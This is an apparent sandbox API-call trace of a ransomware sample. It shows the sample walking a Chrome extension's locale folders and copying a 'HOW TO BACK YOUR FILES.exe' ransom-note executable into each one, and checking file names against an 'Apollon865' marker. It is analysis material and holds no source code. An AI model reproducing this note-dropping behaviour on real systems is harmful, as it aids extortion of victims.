	[0047.656] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834d34a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34799b30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34799b30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.656] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.656] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.656] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.656] lstrlenW (lpString="messages.json") returned 13
	[0047.656] lstrlenW (lpString="Apollon865") returned 10
	[0047.656] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.657] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko"
	[0047.657] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ae570 | out: hHeap=0x580000) returned 1
	[0047.657] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a00c8 | out: hHeap=0x580000) returned 1
	[0047.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko") returned 146
	[0047.657] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko"
	[0047.657] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.657] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.661] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.661] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34799b30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34799b30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.661] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.661] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.661] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.661] lstrlenW (lpString="messages.json") returned 13
	[0047.661] lstrlenW (lpString="Apollon865") returned 10
	[0047.661] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.661] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn"
	[0047.661] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ae438 | out: hHeap=0x580000) returned 1
	[0047.661] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a00a8 | out: hHeap=0x580000) returned 1
	[0047.661] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn") returned 146
	[0047.661] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn"
	[0047.661] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.661] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.666] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.666] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x347bfc90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x347bfc90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.666] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.666] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.666] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.666] lstrlenW (lpString="messages.json") returned 13
	[0047.666] lstrlenW (lpString="Apollon865") returned 10
	[0047.666] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.666] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja"
	[0047.666] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ae300 | out: hHeap=0x580000) returned 1
	[0047.666] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0088 | out: hHeap=0x580000) returned 1
	[0047.666] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja") returned 146
	[0047.666] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja"
	[0047.666] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.666] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.670] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.670] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x347bfc90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x347bfc90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.670] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.670] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.670] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.671] lstrlenW (lpString="messages.json") returned 13
	[0047.671] lstrlenW (lpString="Apollon865") returned 10
	[0047.671] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.671] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw"
	[0047.671] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ae1c8 | out: hHeap=0x580000) returned 1
	[0047.671] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0068 | out: hHeap=0x580000) returned 1
	[0047.671] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw") returned 146
	[0047.671] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw"
	[0047.671] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.671] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.675] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.675] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x347bfc90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x347bfc90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.676] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.676] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.676] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.676] lstrlenW (lpString="messages.json") returned 13
	[0047.676] lstrlenW (lpString="Apollon865") returned 10
	[0047.676] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.676] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it"
	[0047.676] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ae090 | out: hHeap=0x580000) returned 1
	[0047.676] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0048 | out: hHeap=0x580000) returned 1
	[0047.676] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it") returned 146
	[0047.676] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it"
	[0047.676] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.676] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.680] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.680] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x347e5df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x347e5df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.680] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.680] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.680] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.680] lstrlenW (lpString="messages.json") returned 13
	[0047.680] lstrlenW (lpString="Apollon865") returned 10
	[0047.680] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.680] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id"
	[0047.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5adf58 | out: hHeap=0x580000) returned 1
	[0047.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0028 | out: hHeap=0x580000) returned 1
	[0047.681] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id") returned 146
	[0047.681] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id"
	[0047.681] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.681] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.685] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.685] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x347e5df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x347e5df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.685] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.685] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.685] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.685] lstrlenW (lpString="messages.json") returned 13
	[0047.685] lstrlenW (lpString="Apollon865") returned 10
	[0047.685] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.685] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu"
	[0047.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ade20 | out: hHeap=0x580000) returned 1
	[0047.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0008 | out: hHeap=0x580000) returned 1
	[0047.686] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu") returned 146
	[0047.686] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu"
